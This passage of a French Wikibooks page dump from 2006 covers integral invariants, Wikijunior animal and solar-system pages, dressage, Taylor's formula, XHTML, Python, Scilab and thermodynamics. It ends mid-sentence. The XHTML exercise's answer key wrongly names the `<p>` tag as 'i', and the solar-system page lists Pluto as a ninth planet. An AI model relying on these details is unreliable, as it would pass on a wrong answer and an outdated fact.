\delta z - \left(\frac{1}{2} m \left(\dot{x}^2 + \dot{y}^2 + \dot{z}^2\right) + V\right) \delta t </math> La variation de l'action entre trajectoires réelles se réduit donc à : <math> \delta S = \omega_\delta |_1 - \omega_\delta |_0 </math> En considérant une famille de trajectoires formant un tube de l'espace-temps, la somme <math> \delta S </math> est nulle et les intégrales sur les deux courbes fermée de l'espace-temps à chaque extrémité du tube sont égales. On a : <math> \int_1\omega_\delta = \int_0 \omega_\delta </math> Invariants intégraux 8420 43295 2006-05-27T07:12:22Z 81.57.198.61 paragraphe 28 == Notes de lecture des "Leçons sur les invariants intégraux", Elie Cartan, 1922. == === Cas du point matériel libre en coordonnées cartésiennes === ==== [[Invariants intégraux/Cartan1922/001|1]] ==== {{:Invariants intégraux/Cartan1922/001}} ==== [[Invariants intégraux/Cartan1922/002|2]] ==== {{:Invariants intégraux/Cartan1922/002}} ==== [[Invariants intégraux/Cartan1922/003|3]] ==== {{:Invariants intégraux/Cartan1922/003}} ==== [[Invariants intégraux/Cartan1922/004|4]] ==== {{:Invariants intégraux/Cartan1922/004}} ==== [[Invariants intégraux/Cartan1922/005|5]] ==== {{:Invariants intégraux/Cartan1922/005}} ==== [[Invariants intégraux/Cartan1922/006|6]] ==== {{:Invariants intégraux/Cartan1922/006}} === Cas général === ==== [[Invariants intégraux/Cartan1922/007|7]] ==== {{:Invariants intégraux/Cartan1922/007}} === Intégrales premières === ==== [[Invariants intégraux/Cartan1922/028|28]] ==== {{:Invariants intégraux/Cartan1922/028}} InvInt/002 8421 43214 2006-05-26T13:09:43Z Fapae 1199 [[InvInt/002]] déplacé vers [[Invariants intégraux/Cartan1922/002]]: nommage plus explicite #REDIRECT [[Invariants intégraux/Cartan1922/002]] Invariants intégraux/Cartan1922/003 8426 43243 2006-05-26T14:42:19Z Fapae 1199 Étant donné un ensemble de trajectoires formant un tube de l'espace-temps, l'intégrale : <math>\int \omega_\delta = \int - E d t + m v_x d x + m v_y d y + m v_z d z</math> étendue à une courbe fermée formée de points du tube est indépendante du choix de cette courbe, elle ne dépend que du tube. Le terme intégré est quadrivecteur énergie-impulsion <math>\left(-E, \dot{\mathbf{r}}\right)</math>. Invariants intégraux/Cartan1922/004 8428 43245 2006-05-26T14:45:15Z Fapae 1199 * invariant de Poincaré Henri Poincaré a donné le nom d'invariant intégral à une forme restreinte de la formule précédente, ne considérant l'intégrale que sur des courbes à <math>t</math> constant, donc sans que l'énergie intervienne : : <math>\int m \left( v_x d x + v_y d y + v_z d z \right)</math> * action de Hamilton L'intégration du vecteur énergie-impulsion sur une des trajectoires formant le tube conduit à remplacer <math>d x</math> par <math>v_x d t</math>, etc. et donc l'intégrale sur cette courbe (en principe ouverte) donne : <math>\int \left(\frac{1}{2} m \left(v_x^2 + v_y^2 + v_z^2\right) - V\right) \delta t</math> c'est à dire tout simplement l'action de Hamilton. Invariants intégraux/Cartan1922/005 8429 43273 2006-05-26T15:55:21Z Fapae 1199 Le fait que <math>\int \omega_\delta</math> soit un invariant intégral est une condition nécessaire des équations du mouvement. On va montrer que c'est aussi une condition suffisante, qui remplace le principe de Hamilton. Partant d'équations différentielles quelconques : <math>\frac{dx}{X} = \frac{dy}{Y} = \frac{dz}{Z} = ds = \frac{dv_x}{V_x} = \frac{dv_y}{V_y} = \frac{dv_z}{V_z} = \frac{dt}{T}</math>, où les dénominateurs sont des fonctions de <math>x, y, z, v_x, v_y, v_z, t</math> Soit <math>I = \int_{(C)} \omega_\delta</math> l'intégrale sur une courbe <math>x, y, z, t</math> donnée et <math>I + \delta I</math> l'intégrale sur une courbe voisine portée par le même tube de trajectoires. On a : <math> \delta I = \int_{(C)} m \delta v_x dx + m \delta v_y dy + m \delta v_z dz - \delta E dt + m v_x \delta \left( dx \right) + m v_y \delta \left( dy \right) + m v_z \delta \left( dz \right) - E \delta \left( dt \right) </math> On calcule <math>\int_{(C)} v_x \delta \left( dx \right) = \int_{(C)} v_x d \left( \delta x \right) = v_x \delta x |_{(C)} - \int_{(C)} d v_x \delta x = - \int_{(C)} d v_x \delta x </math> et idem pour les trois autres termes, donc : <math> \delta I = \int_{(C)} m \delta v_x dx + m \delta v_y dy + m \delta v_z dz - \delta E dt - m \delta x d v_x - m \delta y d v_y - m \delta z d v_z + \delta t dE </math> ou : <math> \delta I = \int_{(C)} \left(m dx - \frac{\partial E}{\partial v_x} dt \right) \delta v_x + id. + \left(- m d v_x - \frac{\partial E}{\partial x} dt \right) \delta x + id. + \left(dE - \frac{\partial E}{\partial t} dt \right) \delta t </math> Ce terme doit être nul pour tout déplacement du contour <math>\delta x, \delta y, \delta z, \delta v_x, \delta v_z, \delta v_z, \delta t</math> On en tire les équations du mouvement :<math>m d v_x = - \frac{\partial E}{\partial x} dt</math> ou <math>m \frac{d v_x}{d t} = - \frac{\partial V}{\partial x}</math> :<math>m d x = \frac{\partial E}{\partial v_x} dt</math> ou <math>m \frac{d x}{d t} = m v_x</math> idem <math>y</math> et <math>z</math> Wikijunior:Les félins/Les lynx 8430 43248 2006-05-26T14:48:50Z Boly38 136 création, plan, liens interlangues {{Les félins}} ==Les lynx== ===Où vivent-ils ?=== ===A quoi ressemblent-ils ?=== ===Que mangent les lynx et comment chassent-ils ?=== ===Comment les lynx éduquent-ils leurs petits ?=== ===Faits amusants=== ===Classification=== ===Plus d'informations=== * [[wikipedia:fr:Lynx (mammifère)|Wikipédia: Lynx]] [[en:Wikijunior Big Cats/Lynx and bobcats]] [[de:Wikijunior Großkatzen/ Luchs]] Invariants intégraux/Cartan1922/028 8436 43301 2006-05-27T08:09:13Z Fapae 1199 v est scalaire Considérons un système de ''N'' équations différentielles ordinaires du premier ordre, en notant <math>\mathbf{q}</math> le vecteur des ''N'' variables dépendantes et ''t'' la variable indépendante : : <math> \frac{d \mathbf{q}}{d t} = \mathbf{Q}(\mathbf{q}, t) </math> Une solution <math> \mathbf{q} = \mathbf{q}_S (t) </math> est appelée trajectoire du système. Une fonction quelconque <math> f(\mathbf{q}, t) </math> a pour différentielle : <math> df = \left(\nabla f\right) \cdot d\mathbf{q} + \frac{\partial f}{\partial t} dt </math> Prise sur une trajectoire, cette différentielle devient : <math> df = \left(\left(\nabla f\right) \cdot \mathbf{Q} + \frac{\partial f}{\partial t} \right) dt </math> On appelle intégrales premières du système d'équations différentielles les fonctions <math> u(\mathbf{q}, t) </math> qui restent constantes le long d'une trajectoire quelconque. Ces fonctions sont donc les solutions de l'équation aux dérivées partielles linéaire du premier ordre : <math> \left(\nabla u\right) \cdot \mathbf{Q} + \frac{\partial u}{\partial t} = 0 </math> Réécrivons la différentielle de ''f'' sous la forme : <math> df = \left(\nabla f\right) \cdot \left(d\mathbf{q} - \mathbf{Q} dt\right) + \left(\left(\nabla f\right)\cdot \mathbf{Q} + \frac{\partial f}{\partial t} \right) dt </math> Pour une intégrale première, on a : <math> du = \left(\nabla u\right) \cdot \left(d\mathbf{q} - \mathbf{Q} dt\right) </math> Donc la différentielle d'une intégrale première quelconque est une combinaison linéaire des ''N'' formes différentielles linéaires : <math> d q_1 - Q_1 dt, d q_2 - Q_2 dt, \ldots, d q_N - Q_N dt </math> Réciproquement, si la différentielle de <math>v</math> est une combinaison linéaire : <math> dv = \mathbf{c} \cdot \left(d\mathbf{q} - \mathbf{Q} dt\right) </math> des ''N'' formes, écrivant : <math> dv = \left(\nabla v\right) \cdot d\mathbf{q} + \frac{\partial v}{\partial t} dt </math> on en déduit <math>\mathbf{c} = \nabla v</math> et <math>\left(\nabla v\right) \cdot \mathbf{Q} + \frac{\partial u}{\partial t} = 0</math>, donc que <math>v</math> est une intégrale première. Si l'on se donne ''N'' intégrales premières indépendantes, le système linéaire : <math> du_j = \left(\nabla u_j\right) \cdot \left(d\mathbf{q} - \mathbf{Q} dt\right) </math> peut être inversé, c'est à dire que chaque forme <math> d q_i - Q_i dt </math> est une combinaison linéaire des <math> du_j </math> Wikijunior:Système solaire/Qu'est-ce que le système solaire ? 8437 43303 2006-05-27T12:51:51Z Xzapro4 1530 Début de traduction depuis "Solar system" Les Hommes regardent le ciel depuis des milliers d'années et se sont demandés de quoi il était fait. Comme on sait faire de meilleurs télescopes et de meilleures fusées qui sont allées sur plusieurs planètes, on a pu apprendre beaucoup de choses et mieux comprendre l'univers qui nous entoure. Le nom de notre système vient de l'ancien nom du Soleil : Sol. On a appelé notre système le système solaire parce que le Soleil est le plus gros objet et que tous les autres tournent autour. == Le système solaire, c'est quoi ?== Au centre du système solaire, il y a le Soleil. Ce n'est qu'une des millions de millions d'étoiles dans le ciel, mais c'est pour nous la plus importante parce que c'est elle qui nous donne la chaleur et l'énergie dont nous avons besoin. Il y a plusieurs "mondes" près du Soleil, et ils sont très différents, peut-être plus que tu ne peux l'imaginer. Tous ces mondes, qu'ils tournent autour du Soleil ou d'une autre planète, forment ce qu'on appelle le système solaire. Comme tu pourras le lire, nous allons explorer les différences entre tous ces mondes, et tu verras pourquoi la Terre est si spéciale, pourquoi elle est unique. Au total, il y a neuf planètes dans le système solaire. La plus proche du Soleil s'apelle Mercure. Après, il y a Vénus, puis la Terre. Plus loin, il y a encore une planète couleur orange-rougr qui s'apelle Mars. Dans la partie plus lointaine de notre système solaire, on trouve quatre planètes géantes, qui s'appellent Jupiter, Saturne, Uranus et Neptune. La plus éloignée des planètes est une petite planète appelée Pluton. Il y a aussi beaucoup d'autres objets. Les lunes sont des petits mondes qui tournent autour des planètes, tout comme les planètes tournent autour du Soleil. Et puis il y a les astéroïdes. Ce sont de gros morceaux de roche ou de métal, qui tournent pour la plupart autour du Soleil entre Mars et Jupiter. De temps en temps, on croise des visiteurs venus du bord du système solaire : les comètes. Ce sont de grosses boules de poussière et de glace. Elles peuvent former d'immenses traînées dans le ciel lorsqu'elles s'approchent du Soleil et commencent à fondre. Le vent solaire est un gaz chaud que le Soleil souffle dans l'espace. Ce gaz traverse tout le système solaire et s'échappe dans le reste de l'espace. Là où ce vent s'arrête, c'est la limite du système solaire. Cette limite est 100 fois plus loin du Soleil que la Terre. Au-delà, il y a un très grand espace. L'étoile la plus proche du Soleil est des milliers de fois plus loin que la taille du système solaire. Et entre, il y un très très grand espace vide. Wikijunior:Système solaire/Mercure 8438 43305 2006-05-27T16:53:14Z 213.219.186.170 Mercure est la planète la plus proche du Soleil. Des températures extrêmes y règnent : - 150°C la nuit et 400°C le jour. Une fois et demie plus grosse que la Lune, elle n’a pas d’atmosphère. Mercure tourne très lentement sur lui-même, en 59 jours, alors que sa période de révolution autour du Soleil est de 88 jours. Wikijunior:Système solaire/Vénus 8439 43306 2006-05-27T16:53:40Z 213.219.186.170 Vénus, encore connue sous le nom d’étoile du Berger, est l’astre le plus brillant du ciel (exceptions faites du Soleil et de la Lune). Semblable à la Terre, au point de vue -dimensions et masse, elle possède une atmosphère beaucoup plus épaisse que celle de la Terre, qui empêche toute observation de son sol. L’éclairement sur Vénus est assez faible. A cause de l’épaisse atmosphère très dense, la lumière diurne correspondrait à la situation observée sur la Terre par temps très nuageux. Mais les nuits ne sont guère totales; la réfraction, très forte sur Vénus, permet à la lumière d’éclairer faiblement la face cachée. Vénus tourne très lentement sur elle-même, en 243 jours et dans un sens opposé à celui des autres planètes (rotation rétrograde dans le sens des aiguilles d’une montre), alors que sa période de révolution autour du Soleil est de 225 jours. Les jours (et les nuits) sont longs sur Vénus : 117 jours terrestres! De plus, un observateur situé au-dessus de l’atmosphère de la planète verrait le Soleil se lever à l’ouest et se coucher à l’est ! Équitation 8440 44189 2006-06-08T20:06:35Z Stanlekub 1597 avec les accents, c'est plus joli... {{Wikipédia|Équitation|Équitation}} [[Image:Mangalarga_Marchador.jpg|thumb|right|300px|Mangalarga Marchador, cheval brésilien]] ==Disciplines equestres== * [[Dressage équestre]] * Saut d'obstacles * Concours Complet * TREC * Endurance * Attelage Dressage équestre 8441 44190 2006-06-08T20:06:48Z Stanlekub 1597 [[Dressage equestre]] déplacé vers [[Dressage équestre]]: typo [[Image:Andalusier_-_Vorführung_spanischer_Rassen3_best.jpg|thumb|right|300px|Cheval andalou]] ==Objectifs du dressage== Toute pratique équestre nécessite une bonne compréhension entre le cheval et le cavalier. Le dressage de base a pour but de permettre à l'homme d'utiliser le cheval en toute sécurité. C'est la base de tout travail avec le cheval. Le dressage dans sa totalité est l'art de rendre le cheval agréable à monter quelles que soient les circonstances. Il est nécessaire pour tout cheval amené à être monté, à un niveau adapté au cheval et à son utilisation. [[Image:Lipizzaner_2.jpg|thumb|left|300px|Cheval Lipizzan]] ==Attitude, position du cavalier== L'attitude du cavalier n'assure pas seulement sa sécurité (par son équilibre) et son confort mais aussi la stabilité du couple cavalier-monture. C'est l'aide principale du cavalier, tout le reste n'étant qu'accessoire. Une bonne attitude est une attitude qui permet au cheval d’être en équilibre et dans l’impulsion avec le minimum d’intervention du cavalier. Une attitude correcte se caractérise par : * Buste grandi et décontracté, proche de la verticale * Epaules basses et relaxées * Bras tombant naturellement prés du corps * Angle bras/avant-bras plutôt ouvert * Rein soutenu, plat, plutôt légèrement cambré. * Angle cuisse/buste ouvert, pratiquement plat. * Epaules/bassin/talons sur la même ligne. * Bassin basculé, nombril poussé sans excès vers l'avant * Tête droite dans le prolongement du buste, nuque sans raideur. * Regard vers l'endroit où l'on se dirige L'attitude doit bien sûr s'adapter à l'environnement (exercice, réactions du cheval ...) et doit rester souple et décontracté. Il appartient à chaque cavalier de modifier son attitude en fonction de sa morphologie et des problèmes de chaque cheval. Un cavalier harmonieux, bien assis et relaxé, se fait oublier, laissant le cheval être le centre du spectacle. ==Débourrage== ==Allures== <!--Pas, trot, galop--> ==Incurvation== <!--Incurvation et contre-incurvation, épaule en dedans/dehors ... --> ==Changement de pied== Le cheval galope soit à droite, soit à gauche. Lors du changement de pied, le cheval passe de l'un à l'autre pendant le temps de suspension. C'est un exercice relativement facile à executer avec un cheval calme ayant une aisance suffisante au galop. Avec les chevaux quelques peu compliqués, le changement de pied peut par contre s'avérer difficile et demander du temps, du travail et de l'experience avant de pouvoir être executé parfaitement. ===Changement de pied isolé=== Le changement de pied s'effectue en trois phases : * confirmation du galop * remise dans l'axe * changement de pied Les aides à utiliser pour confirmer le galop et pour changer de pied sont respectivement celles du départ au galop d'origine, et celles du départ au galop d'arrivée, c'est à dire : * galop à droite ** jambe droite à la sangle, relachée ** jambe gauche légèrement reculée ** reine gauche au contact ** légère reine d'ouverture droite * galop à gauche ** jambe gauche à la sangle, relachée ** jambe droite légèrement reculée ** reine droite au contact ** légère reine d'ouverture gauche Le changement de pied peut être facilité dans un premier temps en changeant d'incurvation au moment du changement de pied (afin de galoper sur le bon pied avant et après le changement de pied), et en effectuant le changement de pied lors du passage d'une barre au sol. Lors de l'apprentissage, on executera des changements de pieds en repassant 2 à 3 foulées au trot en exercice préparatoire. Il est important que le cavalier reste calme et équilibré afin qu'il ne perturbe pas son cheval lors de l'execution du changement de pied. Lors d'un bon changement de pied, le cheval doit conserver sa cadence et son équilibre. ===Changements de pied rapprochés=== Avant d'effectuer des changements de pied rapprochés, il faut pouvoir executer parfaitement des changements de pied isolés sur les grands cotés et sur les diagonales aux deux mains, de juste à faux ou de faux à juste. Il est aussi préférable d'être capable de faire de même sur les petits cotés et sur un grand cercle. L'apprentissage se fait en rapprochant progressivement les changements de pieds, en commençant par deux changements sur un grand coté, puis en augmentant progressivement. Avec patience et délicatesse, on arrive progressivement à deux changements en quatre temps. L'étape suivante est alors d'enchainer plusieurs changement de pieds tous les quatre temps. Une fois que le cheval maitrise bien cet exercice, on peut passer à un changement tous les trois temps, puis tous les quatre temps. Une fois ces exercices maitrisés, on peut, avec un cheval bien droit et un galop très cadencé envisager des changements de pied au temps. La première étape est de passer à faux puis de revenir immédiatement à juste. Il faut reccomencer plusieurs fois cet exercice jusqu'à pouvoir enchainer trois changements au temps (en commencant à faux sur un grand coté). On peut alors augmenter progressivement la demande. [[Image:Knabstrupper_Baron.jpg|thumb|right|300px|Courbette]] ==Figures== <!--Pirouette, Levade, Pesade, Cabriole, Croupade, Courbette--> ===Levade, Pesade=== La levade est un rassembler poussé à son maximum. Le cheval engage fortement ses postérieurs et se rassemble. La poussée qu'il exerce est alors légérement dirigée vers le haut conduisant le cheval à lever les antérieurs. Lors d'une levade, le cheval : *avance fortement ses postérieur sous sa masse *fait un angle d'environ 30 degrés avec le sol *s'assied fortement, approchant ses jarrets très prêt du sol *est placé et en main La levade est bien éxecutée si le cheval : *reste droit *replie les antérieurs de manière symétrique, genoux à la même hauteur et sabots proches des coudes *un équilibre permettant le maintient de l'attitude pendant quelques instants *place ses postérieurs à l'aplomb du centre de gravité du couple cavalier-cheval *reste doux, léger et gracieux tout au long de la figure La pesade est une figure similaire à la levade mais dans laquelle l'angle entre le cheval et le sol est plus important (de l'ordre de 45 degrés). Il ne faut pas confondre la levade et la courbette. ===Courbette=== La courbette est un cabrer, une élévation de l'avant-main à plus de 45 degrés qui n'a plus rien à voir avec l'équitation classique. Le cheval dresse simplement, perdant son rassembler. La courbette n’est pas l’aboutissement d’un long travail rassemblé mais un simple geste appris au cheval. ===Croupade=== Lors d'une croupade, le cheval effectue une ruade énergique en étendant complètement les membres postérieurs. ===Cabriole=== La cabriole est la combinaison d'une courbette et d'une croupade. Le cheval étant au terre-à-terre (sorte de galop à deux temps), il éleve l'avant-main, quitte le sol, puis détache avec force une ruade, postérieurs tendus. Il donne alors l'impression de rester suspendu en l'air un court instant. [[Image:Andalusier_3_Gang_Halle_10.jpg|thumb|right|300px|Pas espagnol]] ==Allures relevées== <!--Piaffer, passage, pas espagnol--> Analyse:Formules De Taylor Lagrange 8442 43329 2006-05-28T12:00:18Z 82.228.84.29 Soit <math>f</math> une fonction définie et <math>n</math> fois dérivable sur un segment <math>\left[a,b\right]</math>, <math>(n+1)</math> fois dérivable sur l'intervalle ouvert <math>]a,b[</math>, alors il existe un réel <math>c</math> de <math>]a,b[</math> tel que : <math>f(b) = f(a) + \frac{(b-a)^{1}}{1!} f'(a) + \frac{(b-a)^{2}}{2!} f''(a) + \cdots + \frac{(b-a)^{n}}{n!} f^{(n)}(a) + \frac{(b-a)^{n+1}}{(n+1)!} f^{(n+1)}(c) </math> XHTML 8443 43363 2006-05-29T05:47:24Z Limencharze 1574 #REDIRECT [[Programmation_HTML]] XHTML/Introduction/Exercice 1 8444 43339 2006-05-28T17:55:58Z Limencharze 1574 {| width="33%" border="0" cellpadding="4" cellspacing="4" style="border: 1px solid #993300; background-color: #FFCCCC" |- | valign="top" |'''Exercice:''' <pre><p>Voici un paragraphe</p></pre> * Quel est le nom de la balise? * Quel est le texte formaté par la balise? * Quels sont les signes encadrant une balise? * Quelle est la particularité de la balise de fermeture? |- |} {| width="33%" border="0" cellpadding="4" cellspacing="4" style="border: 1px solid #339900; background-color: #CCFFCC" |- | valign="top" |'''Corrigé:''' * Quel est le nom de la balise? ** La balise se nomme <code>i</code>. * Quel est le texte formaté par la balise? ** La balise formate le texte <code>Voici un paragraphe</code> * Quels sont les signes encadrant une balise? ** Les signes <code>&lt;</code> et <code>&gt;</code> encadrent les balises. * Quelle est la particularité de la balise de fermeture? ** Le signe <code>/</code> avant le nom de la balise caractèrise les balises de fermeture. |- |} Wikipédia:Bac à sable/A 8445 43369 2006-05-29T06:01:51Z Fapae 1199 [[Wikipédia:Bac à sable/A/B]] Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du Symbole de Christoffel 8451 43378 2006-05-29T06:10:42Z Fapae 1199 [[Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du Symbole de Christoffel]] déplacé vers [[Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du symbole de Christoffel]]: Faute de frappe (Symbole et sym #REDIRECT [[Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du symbole de Christoffel]] Programmation Python Exception 8455 45228 2006-06-19T12:21:15Z 81.185.116.246 {{Programmation Python}} {{Exemple|Exemple|Exemple de gestion d'exception| <pre> try: # Code pouvant g&eacute;n&eacute;rer une exception except MonException: # Code en cas d'exception else: # Code en cas de non exception #code dans tous les cas </pre> }} Image:Chm onglets navigation.png 8457 43453 2006-05-30T09:02:06Z Cdang 1202 /* License */ Onglets de navigation de l'aide en ligne Windows CHM (compressed HTML). Auteur : Christophe Dang Ngoc Chan ([[utilisateur:cdang|cdang]]) == License == L'interface graphique de Microsoft Windows est la propriété intellectuelle de Microsoft. La reproduction d'un élément qui est affichable de manière « native » par tous els propriétaires d'une license du système d'exploitation est considéré par l'auteur comme une utilisation juste, et ne porte pas atteinte au propriétaire des droits. {{fair use}} [[catégorie:capture d'écran]] [[catégorie:Microsoft]] Catégorie:Microsoft 8458 43454 2006-05-30T09:02:37Z Cdang 1202 [[catégorie:éditeur de logiciel]] [[catégorie:éditeur de logiciel]] Catégorie:Éditeur de logiciel 8459 43455 2006-05-30T09:02:51Z Cdang 1202 [[catégorie:logiciel]] Catégorie:Logiciel 8460 43456 2006-05-30T09:03:09Z Cdang 1202 [[catégorie:informatique]] [[catégorie:informatique]] Catégorie:Image 8461 43458 2006-05-30T09:04:11Z Cdang 1202 [[catégorie:principale]] [[catégorie:principale]] Wikijunior:Les grandes dates de l'histoire de France/1789 : La prise de la Bastille 8462 43490 2006-05-30T11:57:30Z 81.192.118.126 du cours les grandes dates de l'histoire * élément A * élément B * élément C * élément A * élément B * élément C # élément 1 # élément 2 # élément 3<s></s>#REDIRECT [[nom de la destination]] Découvrir Scilab Calcul numérique 8463 46360 2006-06-28T14:17:04Z Cdang 1202 /* Notes */ modif lien {{Scilab}} <br :> <big><big><big>3. Calcul numérique</big></big></big> ---- == Définition de fonctions extérieures == Une <font id="exterieure3">fonction extérieure</font> est une fonction numérique définie par l'utilisateur. La fonction <font id="deff2"><code>deff</code></font> permet de définir de nouvelles fonctions pouvant s’exprimer avec les opérateurs déjà prédéfinis (les «&nbsp;fonctions internes&nbsp;» ou «&nbsp;primitives&nbsp;»). On passe deux chaînes de caractères comme paramètre&nbsp;: * la première indique le nom de la fonction et les variables utilisées en entrée et en sortie, et * la deuxième indique la formule. Par exemple, la fonction : ƒ(''x'') = 2 · ''x'' peut se définir par deff('[y] = f(x)', 'y = 2 * x') On peut aussi utiliser l'instruction <code><font id="function2">function</font></code> sous la forme -->function [y] = f(x)</font> --> … --> endfunction la formule, sous la forme <code>y = ''expression''</code>, étant placée à la place des trois points. Avec l'exemple ci-dessus, cela donne : -->function [y] = f(x) -->y=2*x -->endfunction (voir aussi le chapitre ''[[Découvrir Scilab Programmation|Programmation]]''). La fonction s'utilise par la suite de la même manière qu'une fonction interne (sur l'exemple ci-dessus) : -->f(2) ans = 4. --><font id="feval2">feval(1,f)</font> // calcule f(1) ans = 2. == Intégration == Scilab peut calculer <font id="integration1">l'intégrale numérique</font> d'une fonction entre deux bornes : : <font id="integrate1"><code>integrate(<nowiki>'</nowiki>''expression''<nowiki>'</nowiki>, <nowiki>'</nowiki>''x''<nowiki>'</nowiki>, ''x0'', ''x1'')</code></font> calcule l’intégrale de la fonction décrite par ''expression'' ; ''expression'' est une chaîne de caractères interprétable par Scilab, comme par exemple <code>'sin(x)'</code>. Le paramètre ''x'' est la variable d’intégration, et les bornes sont ''x0'' et ''x1''. == Résolution d'équations == Scilab dispose de plusieurs primitives permettant la <font id="solveur1">résolution d'équations</font>. Nous présentons ci-après trois fonctions internes, mais il en existe d'autres pour des systèmes spécifiques. === Système d'équations linéaires === Scilab permet la résolution numérique d'un système d'équations linéaires, avec la fonction <font id="linsolve1"><code>linsolve</code></font> : <code>[''x0'',''kerA'']=linsolve(''A'',''b'')</code><br /> où ''A'' est la matrice réelle des coefficients du système d'équations, et ''b'' un vecteur de constantes ; les solutions de ''A''×''x'' + ''b'' = 0 sont de la forme ''x''0 + ''w''×''kerA'', ''w'' étant un réel arbitraire ; ; Exemple : Le système d'équation :: <math>\begin{cases} 3x+y=5\\ 4x-y=9 \end{cases} </math> : est décrit par :: <math>A = \begin{pmatrix} 3 & 1 \\ 4 & -1 \\ \end{pmatrix} ,\ b = \begin{pmatrix} -5 \\ -9 \\ \end{pmatrix} </math> : donc -->A=[3 1 ; 4 -1]; -->b=[-5 ; -9]; -->linsolve(A,b) ans = 2. - 1. : le vecteur :: <math>\begin{pmatrix} 2 \\ -1 \\ \end{pmatrix} </math> :représente la solution ''x'' = 2 et ''y'' = -1. : Si maintenant on tape -->[x0,kerA]=linsolve(A,b) kerA = [] x0 = 2. - 1. : indiquant que la solution est unique. ; Exemple : S'il y a plus d'inconnues que d'équations : :: <math>3x + y = 5</math> -->A=[3 1];b=-5; -->linsolve(A,b) ans = 1.5 0.5 -->[x0,kerA]=linsolve(A,b) kerA = - 0.3162278 0.9486833 x0 = 1.5 0.5 : la première commande renvoit une seule solution ; la deuxième commande indique que les solutions sont de la forme :: <math>\begin{cases} x = 1,5 - 0,316\,227\,8 \cdot t\\ y = 0,5 + 0,948\,683\,3 \cdot t \end{cases}</math> : notons qu'il s'agit d'une solution approchée, puisque la vraie solution est du type : :: <math>\begin{cases} x = 1,5 - \frac{1}{3} \cdot t \simeq 1,5 - 0,33\ldots \cdot t\\ y = 0,5 + t \end{cases}</math> Si le système n'admet pas de solution, Scilab affiche le message d'erreur : <code>WARNING:Conflicting linear constraints!</code>. Scilab permet également la résolution symbolique d'un système linéaire avec la fonction <font id="solve1"><code>solve</code></font> : <code>w = solve(''A'',''c'')</code><br /> où ''A'' est une matrice triangulaire supérieure de chaînes de caractères (les coefficients du système d'équation), ''c'' est un vecteur de chaînes de caractères (la partie à droite des signes égal), et ''w'' est la matrice résultat de ''A''×''w'' = ''c''. ; Exemple : Le système d'équation :: <math>\begin{cases} x + y = a_1\\ y = a_2 \end{cases} </math> : est décrit par :: <math>A = \begin{pmatrix} 1 & 1 \\ 0 & 1 \\ \end{pmatrix} ,\ c = \begin{pmatrix} a_1 \\ a_2 \\ \end{pmatrix} </math> -->A=['1','1';'0','1'];c=['a1';'a2']; -->solve(A,c) ans = !a1-a2 ! ! ! !a2 ! : indiquant que la solution est <math>x = a_1 - a_2</math> et <math>y = a_2</math>. === Équation différentielle ordinaire === Une d'équation différentielle ordinaire ''(ordinary differential equation)'' peut être résolue de manière numérique avec la fonction <font id="ode1"><code>ode</code></font>. Soit une fonction ''y''(''t'') ; si l'équation différentielle est : ''dy''/''dt'' = ƒ(''t'',''y''), alors ƒ ayant été définie (fonction externe), la syntaxe pour déterminer ''y''(''t'') est : <code>''y'' = ode(''y0'',''t0'',''t'',''f'')</code><br /> où * ''y0'' et ''t0'' sont les valeurs initiales du système, ''y''(''t0'') = ''y0'', * ''t'' est un vecteur de valeurs pour lesquelles on calcule les solutions, et * ''y'' est le vecteur de solutions (<font id="plot1"><code>plot(''t'',''y'')</code></font> permet de tracer le graphique des solutions). La fonction interne <code>ode</code> admet des arguments permettant de résoudre des situations spécifiques : * <code>'roots'</code> pour rajouter une équation ''g''(''t'',''y'') = 0, * <code>'discrete'</code> pour calculer de manière récursive ''y''(''k''+1)=ƒ(''k'',''y''(''k'')) à partir d'un état initial ''y''(''k''0). ; Exemple : On se place sur un segment [0,5;1] ; on veut déterminer les valeurs numériques de la fonction ''y'' vérifiant :: <math>\frac{dy}{dt} = t</math> et <math>y(0) = 0</math> : on a donc en fait ƒ(''t'',''y'') = ''t'' , t0 = y0 = 0 -->t=[0.5:0.1:1]; // points de [0,5;1] espacés de 0,1 -->deff('[u] = f(t,y)', 'u = t') // définition de la fonction f -->ode(0,0,t,f) ans = 0.125 0.18 0.245 0.32 0.405 0.5 : qui sont bien les valeurs de 1/2×''t''² == Voir aussi == ; Dans Wikipédia * [[w:Équation différentielle ordinaire|Équation différentielle ordinaire]] * [[w:Solveur d'équations|Solveur d'équations]] * [[w:Système d'équations|Système d'équations]] * [[w:Récursivité|Récursivité]] == Notes == <references /> ---- ''[[Découvrir Scilab Calculs élémentaires|Calculs élémentaires]]'' &lt; [[Découvrir Scilab|↑]] &gt; ''[[Découvrir Scilab Graphiques et sons|Graphiques et sons]]'' Image:Thermo.png 8464 43528 2006-05-31T09:04:17Z Sloonz 1589 Schéma de principe d'une machine thermique Schéma de principe d'une machine thermique Image:Pacthermo.png 8466 43532 2006-05-31T09:11:32Z Sloonz 1589 Schéma de principe d'une pompe à chaleur Schéma de principe d'une pompe à chaleur Image:Moteurthermo.png 8468 43536 2006-05-31T09:13:38Z Sloonz 1589 Schéma de principe d'un moteur (Thermodynamique, machines thermiques) Schéma de principe d'un moteur (Thermodynamique, machines thermiques) Thermodynamique Introduction 8470 43572 2006-05-31T11:24:27Z Sloonz 1589 Ce chapitre expose plusieurs définitions complémentaires de la thermodynamique. De quoi s’agit-il ? ===La science de la chaleur=== Les notions de chaleur et de température sont les plus fondamentales de la thermodynamique, que l'on peut définir comme la science de tous les phénomènes qui dépendent de la température et de ses changements. Chacun a une connaissance intuitive de la notion de température. Un corps est chaud ou froid selon que sa température est plus ou moins élevée. Mais une définition précise est difficile. L’un des grands succès de la thermodynamique classique, au dix neuvième siècle, a été de donner une définition de la température absolue d’un corps (celle qui est mesurée en Kelvin, zéro absolu = zéro Kelvin = -273 degrés Celsius environ). La chaleur est encore plus difficile à définir. Une ancienne théorie, défendue notamment par Lavoisier, attribuait à la chaleur les propriétés d’un fluide un peu spécial, invisible, impondérable ou presque, le calorique, qui circulerait d’un corps à un autre. Plus un corps est chaud plus il contiendrait de calorique. Cette théorie est fausse au sens où le calorique ne peut pas être identifié à une quantité physique conservée. Mais nous verrons que la thermodynamique donne quand même un sens à la notion de quantité de chaleur échangée. ===La puissance motrice du feu=== La thermodynamique classique peut être identifiée à la science de la puissance motrice du feu, ou force de la chaleur, conformément à son étymologie. ====Qu’est-ce qu’une machine thermique ?==== Le mouvement des corps macroscopiques (les corps 